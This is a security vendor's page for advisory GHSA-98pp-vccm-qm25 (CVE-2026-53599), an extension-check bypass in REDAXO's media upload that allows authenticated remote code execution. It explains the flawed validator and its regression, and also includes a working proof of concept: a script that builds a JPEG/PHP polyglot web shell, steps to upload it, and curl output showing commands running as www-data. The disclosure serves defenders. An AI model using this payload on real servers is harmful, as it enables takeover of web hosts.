Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

GHSA-98pp-vccm-qm25

HIGHFix: redaxo/core#6538

GHSA-98pp-vccm-qm25 is a high-severity (CVSS 7.5) Unrestricted File Upload vulnerability in redaxo/source. O3 Security confirms whether GHSA-98pp-vccm-qm25 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Redaxo has a Mediapool isAllowedExtension bypass via multi-segment filename that leads to authenticated RCE on Apache mod_php multi-extension handlers

Also known asCVE-2026-53599
Published
Jul 31, 2026
Updated
Jul 31, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 14, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-98pp-vccm-qm25.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk+0.08%
Lower risk than most CVEs33th percentile — riskier than 33% of all scored CVEsHighest risk
0.00%0.30%0.60%0.90%0.3%0.3%0.4%Aug 26Sep 26Sep 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-98pp-vccm-qm25 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 373,366 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘redaxo/source

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

rex_mediapool::isAllowedExtension in redaxo/src/addons/mediapool/lib/mediapool.php accepts filenames that contain a blocked extension as a non-terminal segment of a longer extension chain, for example shell.php.any.jpg. The check only catches the blocked extension when it appears at the end of the filename or immediately before the final extension. An authenticated backend user with mediapool upload permission can upload a JPEG/PHP polyglot named shell.php.any.jpg and, on web servers whose PHP handler matches .php as any segment (mod_mime AddHandler-style, or any FilesMatch regex without an end anchor), request the file from the public media/ directory to execute arbitrary PHP as the web-server user.

The vulnerable check is a regression introduced in commit 9d008697d (PR #6213, Feb 7 2025), which weakened a previously correct str_contains check into a pair of str_ends_with checks. The earlier check, in place since 2018 specifically to defend against double-extension attacks, would have blocked this payload.

The regression has shipped in every release from 5.18.2 through 5.21.0.

Details

Root cause

At the audited commit 6e0de42, isAllowedExtension performs three checks against the blocked-extension list:

// redaxo/src/addons/mediapool/lib/mediapool.php (104–130) @ 6e0de42
public static function isAllowedExtension(string $filename, array $args = []): bool
{
    $fileExt = mb_strtolower(rex_file::extension($filename));
 
    if ('' === $filename || str_contains($fileExt, ' ') || '' === $fileExt) {
        return false;
    }
 
    if (str_starts_with($fileExt, 'php')) {
        return false;
    }
 
    $blockedExtensions = self::getBlockedExtensions();
    foreach ($blockedExtensions as $blockedExtension) {
        // $blockedExtensions extensions are not allowed within filenames, to prevent double extension vulnerabilities:
        // -> some webspaces execute files named file.php.txt as php
        if (str_ends_with($filename, '.' . $blockedExtension)
            || str_ends_with($filename, '.' . $blockedExtension . '.' . $fileExt)
        ) {
            return false;
        }
    }
 
    $allowedExtensions = self::getAllowedExtensions($args);
    return !count($allowedExtensions) || in_array($fileExt, $allowedExtensions);
}

For shell.php.any.jpg:

  1. $fileExt is jpg, so str_starts_with('jpg', 'php') is false.
  2. The loop checks two suffix shapes:
    • str_ends_with('shell.php.any.jpg', '.php') — false.
    • str_ends_with('shell.php.any.jpg', '.php.jpg') — false, because the actual chain is .php.any.jpg.
  3. Default $allowedExtensions is empty (no widget types arg on the main mediapool upload page), so the function returns true. The defensive comment on lines 119–120 explicitly names the threat model the maintainers are guarding against — "some webspaces execute files named file.php.txt as php". The current check covers that exact two-segment shape but fails for any chain of length three or more in which a blocked extension is not the final segment.

Regression history

Prior to commit 9d008697d (PR #6213, Feb 7 2025) the check was:

if (str_contains($filename, '.' . $blockedExtension)) {
    return false;
}

str_contains('shell.php.any.jpg', '.php') is true, so the prior check would have correctly rejected this payload. The substring form had a false-positive problem with names like foo.json (which contains the substring .js), and the rewrite removed the false positive but also removed the multi-extension protection. The three regression tests added in that commit (foo.js.txt, js_datei.txt, foo.json) do not include a length-three-or-greater chain with a blocked non-terminal segment, so the security regression was not caught by the test suite.

The same weak check is invoked a second time from rex_mediapool::filename() during the normalization step, so the bypass also passes the renaming guard. rex_string::normalize($mediaName, '_', '.-@') preserves ., -, @ and lowercases the rest, so shell.php.any.jpg survives normalization unchanged.

PoC

Reproduced end-to-end on Apache 2.4.58 + PHP 8.3.6 on Ubuntu 24.04, using the exact validator code from commit 6e0de42 and a JPEG/PHP polyglot served from the same docroot under two different Apache PHP-handler configurations.

Payload

Minimal JPEG/PHP polyglot, 188 bytes, MIME-classified as image/jpeg:

# build_polyglot.py
jpeg_header = bytes([0xff,0xd8,0xff,0xe0,0x00,0x10]) + b'JFIF' + bytes([0x00,0x01,0x01,0x01,0x00,0x48,0x00,0x48,0x00,0x00])
php_payload = b'<?php echo "=== PWNED ===\n"; echo "file: " . __FILE__ . "\n"; echo "cmd output:\n"; $cmd = isset($_GET[chr(120)]) ? $_GET[chr(120)] : "id"; echo shell_exec($cmd); ?>'
jpeg_tail = bytes([0xff,0xd9])
open('shell.php.any.jpg','wb').write(jpeg_header + php_payload + jpeg_tail)
$ file --mime-type shell.php.any.jpg
shell.php.any.jpg: image/jpeg

Validator output

Expected vulnerable deployment flow:

  1. Log in as a backend user with media upload permission.
  2. Upload the payload as shell.php.any.jpg.
  3. REDAXO accepts the final jpg extension and image/jpeg MIME type, and stores media/shell.php.any.jpg.
  4. Request https://victim.example/media/shell.php.any.jpg?x=id.
  5. On Apache/mod_php-style multi-extension handler mappings, PHP code in the uploaded file executes.

Running the exact isAllowedExtension logic from commit 6e0de42 against the default blocked_extensions list from redaxo/src/addons/mediapool/package.yml:

isAllowedExtension("shell.php.any.jpg") = TRUE — UPLOAD ACCEPTED

HTTP execution test

The same file was placed in two Apache vhosts.

Vhost A — current Ubuntu/Debian default libapache2-mod-php8.3 config (<FilesMatch ".+\.ph(?:ar|p|tml)$">, $ anchor):

$ curl -sS -D - -o body "http://127.0.0.1:8081/shell.php.any.jpg?x=id"
HTTP/1.1 200 OK
Content-Type: image/jpeg
$ file body
body: JPEG image data, JFIF standard 1.01

File served as a static JPEG. Not exploitable on this configuration.

Vhost B — non-anchored handler match (<FilesMatch "\.ph(?:ar|p|tml)(\.|$)">, equivalent to AddHandler application/x-httpd-php .php behavior under mod_mime):

$ curl -sS "http://127.0.0.1:8082/shell.php.any.jpg?x=id"
=== PWNED ===
file: /home/riodrwn/sandbox/docroot/shell.php.any.jpg
cmd output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

PHP executes as www-data. RCE confirmed.

Impact

A backend user holding only the media[upload] permission — the permission that the standard editor role carries — gains arbitrary PHP code execution as the web-server user on every REDAXO deployment whose Apache configuration maps PHP via a multi-extension handler.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistredaxo/source5.18.2&&< 5.21.15.21.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for redaxo/source. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update redaxo/source to 5.21.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-98pp-vccm-qm25 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-98pp-vccm-qm25 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-98pp-vccm-qm25. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `rex_mediapool::isAllowedExtension` in `redaxo/src/addons/mediapool/lib/mediapool.php` accepts filenames that contain a blocked extension as a non-terminal segment of a longer extension chain, for example `shell.php.any.jpg`. The check only catches the blocked extension when it appears at the end of the filename or immediately before the final extension. An authenticated backend user with mediapool upload permission can upload a JPEG/PHP polyglot named `shell.php.any.jpg` and, on web servers whose PHP handler matches `.php` as any segment (mod_mime `AddHandler`-style, or any `File
O3 Security · Impact-Aware SCA

Is GHSA-98pp-vccm-qm25 in your dependencies?

O3 detects GHSA-98pp-vccm-qm25 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-98pp-vccm-qm25: RCE (High 7.5) | O3 Security